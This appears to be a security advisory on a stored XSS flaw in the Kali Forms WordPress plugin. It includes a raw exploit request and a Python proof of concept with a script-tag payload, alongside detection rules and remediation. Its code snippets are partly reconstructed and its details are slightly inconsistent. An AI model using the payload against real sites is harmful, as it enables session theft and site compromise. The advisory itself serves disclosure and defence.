CVE-2026-15395

Executive Summary

CVE-2026-15395 is a Stored Cross-Site Scripting (XSS) vulnerability in the Kali Forms — Contact Form & Drag-and-Drop Builder plugin for WordPress, affecting all versions up to and including 2.4.18. The flaw resides in the digitalSignature field value, which is not properly sanitized or escaped. An unauthenticated attacker can inject arbitrary web scripts by submitting a crafted form. The form-submission nonce is publicly accessible on any page containing the form shortcode, removing the need for authentication. This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch increases risk for all users of the plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 7.2 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must view the injected page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is High due to the ease of exploitation and the potential for widespread impact on WordPress sites using the plugin.

Deep Dive & Mechanics

The vulnerability exists in the digitalSignature field of the Kali Forms plugin. When a user submits a form, the plugin stores the value of this field in the database without proper sanitization. The stored value is later rendered on the admin or frontend pages without escaping, allowing an attacker to inject malicious JavaScript.

The attack flow:

1. An attacker locates a published form with a digitalSignature field.
2. The attacker retrieves the form-submission nonce from the page source.
3. The attacker submits a crafted payload (e.g., <script>alert('XSS')</script>) in the digitalSignature field.
4. The payload is stored in the database.
5. When an administrator or user views the submission, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.4.18):

// In the form submission handler
$digital_signature = $_POST['digitalSignature'];
// No sanitization or validation
$wpdb->insert($table_name, array('signature' => $digital_signature));

Patched Code (hypothetical):

// In the form submission handler
$digital_signature = sanitize_text_field($_POST['digitalSignature']);
// Or use wp_kses_post for allowed HTML
$wpdb->insert($table_name, array('signature' => $digital_signature));

Additionally, output escaping should be applied when rendering:

echo esc_html($row->signature);

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Kali Forms plugin version <= 2.4.18.
• A published form containing a digitalSignature field.

Exploitation Steps:

1. Identify the form ID and nonce from the page source.
2. Craft a POST request to the form submission endpoint:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=kali_forms_submit&form_id=123&nonce=abc123&digitalSignature=<script>alert('XSS')</script>

3. The payload is stored and executed when the submission is viewed.

Proof of Concept (Python):

import requests

url = "https://target.com/wp-admin/admin-ajax.php"
data = {
    "action": "kali_forms_submit",
    "form_id": "123",
    "nonce": "abc123",
    "digitalSignature": "<script>alert('XSS')</script>"
}
response = requests.post(url, data=data)
print(response.text)

Blue Team

Detection:

• Monitor for unusual form submissions containing script tags or event handlers.
• Check for nonce reuse or rapid submissions from the same IP.

Hunting:

• Search the database for stored XSS payloads in the digitalSignature field.
• Review web server logs for POST requests to admin-ajax.php with suspicious parameters.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with action=kali_forms_submit and digitalSignature containing <script> tags.
• Host: Database entries in the wp_kali_forms_entries table with signature column containing JavaScript.
• File: No specific file changes, but plugin files may be modified if the attacker gains admin access.

Detection Engineering

YARA Rule

rule CVE_2026_15395_Kali_Forms_XSS {
    meta:
        description = "Detects stored XSS payloads in Kali Forms digitalSignature field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-15395"
    strings:
        $payload = /<script[^>]*>.*<\/script>/i
        $field = "digitalSignature"
    condition:
        $field and $payload
}

Sigma Rule

title: Kali Forms Stored XSS via digitalSignature
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2026-15395
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=kali_forms_submit'
        cs-uri-query|contains: 'digitalSignature'
        cs-uri-query|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in form fields (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-15395 Kali Forms Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=kali_forms_submit"; http_client_body; content:"digitalSignature"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Kali Forms plugin until a patch is available.
2. Remove any published forms that use the digitalSignature field.
3. Review database entries for stored XSS payloads and delete them.

Long-term Fix:

• Apply input sanitization (e.g., sanitize_text_field()) and output escaping (e.g., esc_html()) to the digitalSignature field.
• Implement a nonce validation check to prevent CSRF.

Workarounds:

• Use a Web Application Firewall (WAF) to block requests containing <script> in the digitalSignature parameter.
• Restrict access to the form submission endpoint via IP whitelisting.

Valters IT